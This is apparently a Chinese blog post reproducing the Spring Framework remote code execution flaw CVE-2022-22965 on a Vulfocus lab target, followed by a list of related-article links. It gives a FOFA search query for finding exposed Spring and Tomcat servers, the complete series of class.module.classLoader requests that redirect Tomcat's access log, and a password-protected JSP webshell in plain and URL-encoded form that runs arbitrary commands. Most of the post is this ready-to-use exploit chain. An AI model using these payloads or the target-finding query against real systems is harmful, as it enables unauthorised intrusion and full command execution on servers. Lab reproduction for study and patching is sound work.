漏洞概述(级别:高危)

续上一次Log4j2后,于2022年03月29日,Spring官方发布了Spring框架远程命令执行漏洞公告(CNVD-2022-23942、CVE-2022-22965)

攻击者可以通过构造恶意请求来利用这些漏洞,从而造成任意代码执行,未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行,该漏洞广泛存在于Spring框架以及衍生的框架中,JDK 9.0及以上版本会受到此漏洞影响

FOFA语法

app="APACHE-Tomcat" || app="vmware-SpringBoot-framework" || app="vmware-SpringBoot-framework" || app="vmware-Spring-Batch" || app="vmware-Spring-framework" || app="vmware-Spring-Security") && country="CN"

影响范围

  • 使用JDK9或更高版本

  • 使用Apache Tomcat作为Servlet容器

  • 基于spring-webmvc或spring-webflux

  • 使用传统WAR部署

  • Spring版本为5.3.0至5.3.17,5.2.0至5.2.19

漏洞复现

复现环境:Vulfocus 漏洞威胁分析平台

环境名称:vulfocus/spring-core-rce-2022-03-29:latest

开启环境

访问123.58.236.76中25683端口

传入构造的POC第一步:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i

调用class对象,通过ClassLoader取resources。context是Tomcat的StandardContext,parent拿到的是StandardEngine,pipeline拿到的是StandardPipeline,最终是给AccessLogValve对象的几个属性的赋值操作

%i 这个语法是从请求的header里面拿content,header的值目的是为了迎合tomcat日志的pattern

传入构造的POC第二步,日志会按照我们想要的方式,生成.jsp文件:

suffix是日志文件的后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

传入构造的POC第三步,写入网站根目录:

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

传入构造的POC第四步:

prefix修改日志文件的前缀

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu

传入构造的POC第五步,fileDateFormat是日期文件的时间格式,这里设置为空:

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

payload:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyuclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

依次传入payload,就会在tomcat的webapps的Root目录下生成一个jsp文件

POC1:

注意:这里因为环境重启了,导致我的ip和端口发生改变

POC2:

POC3:

POC4:

POC5:

访问prefix修改后的jsp文件

上传webshell

接下来需要做的就是将内容更改为webshell,并让它解析就可以了 写入webshell到网站根目录

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

webshell:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

url编码webshell:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

所以顺序就是:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

url编码webshell:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

这里的环境又没了,ip和端口重新更换了一下,每次环境只能开10分钟,我真的是服了这老六了,真特么扣

按照以上顺序重新上传一次

命令执行,flag在/tmp下

[CVE-2022-22965]Spring远程代码执行漏洞复现相关推荐

  1. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

  2. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  3. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  4. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  5. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

  6. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  7. CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞 复现

    1 漏洞信息 漏洞名称 Spring Cloud Function SpEL 远程代码执行漏洞 漏洞编号 CVE-2022-22963 危害等级 高危 CVSS评分 7.5 漏洞类型 中间件漏洞 漏洞 ...

  8. cve-2017-12617 tomcat远程代码执行漏洞复现测试

    0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...

  9. CVE-2022-21907 Microsoft Windows HTTP 协议栈远程代码执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载: 开启IIS: 0x06 漏洞复现: 利用POC: 0x07 流量分析: 客户端: 0 ...

最新文章

  1. 【C#】Out与ref是干什么的?
  2. VC++ inline内联函数的作用解决方案
  3. 迷你世界维护服务器几点到几点,迷你世界服务器房间是什么 | 手游网游页游攻略大全...
  4. 【Android 逆向】类加载器 ClassLoader ( 类加载时机 | 隐式加载 | 显示加载 | 类加载步骤 | 装载 | 链接 | 初始化 )
  5. 考试题string——线段树。
  6. Linux 系统线程数量上限是多少?
  7. 有关uploadifive的使用经验(转:http://www.cnblogs.com/itBscs/p/4781786.html )
  8. Linux实战教学笔记52:GlusterFS分布式存储系统
  9. JVM内存管理------GC算法精解(五分钟让你彻底明白标记/清除算法)
  10. mybatis插入数据后返回自增主键ID详解
  11. 香农编码二叉树c语言,shannon码的编码实验总结.docx
  12. 《Scikit-Learn与TensorFlow机器学习实用指南》 第3章 分类
  13. Linux下selinux简单梳理
  14. 从入门到放弃之promise用法(上)
  15. 数据类产品设计和实现思路
  16. 为什么说python是世界上最好的语言-《权力的游戏》告诉你,为啥 Python 是世上最好的语言...
  17. 【数据结构】带动画显示过程的递归求解迷宫问题
  18. 中国知网论文查重算法和修改攻略
  19. 爬虫攻守道 - 2023最新 - Python Selenium 实现 - 数据去伪存真,正则表达式谁与争锋 - 爬取某天气网站历史数据
  20. Android系统的VTS测试套件介绍

热门文章

  1. PowerBI 操作
  2. 2021级-JAVA02 基础语法1--标识符、常量与变量、数据类型、运算符与表达式209 天
  3. 测绘用计算机吗,测绘工程中计算机制图应用
  4. mysql 查询多个总和_使用MySQL查询选择多个总和,并在单独的列中显示?
  5. rj45管脚定义_“RJ45接口”定义标准是什么?
  6. 蓝桥算法训练之素因子去重
  7. [TL-WR841N V5~V9] 无线桥接(WDS)如何设置?
  8. 浅谈Python类的属性和方法
  9. 电商直播系统开发Android10.0 导航栏和状态栏动态控制合集
  10. linux在指定行添加内容,linux下利用shell在指定的行添加内容的方法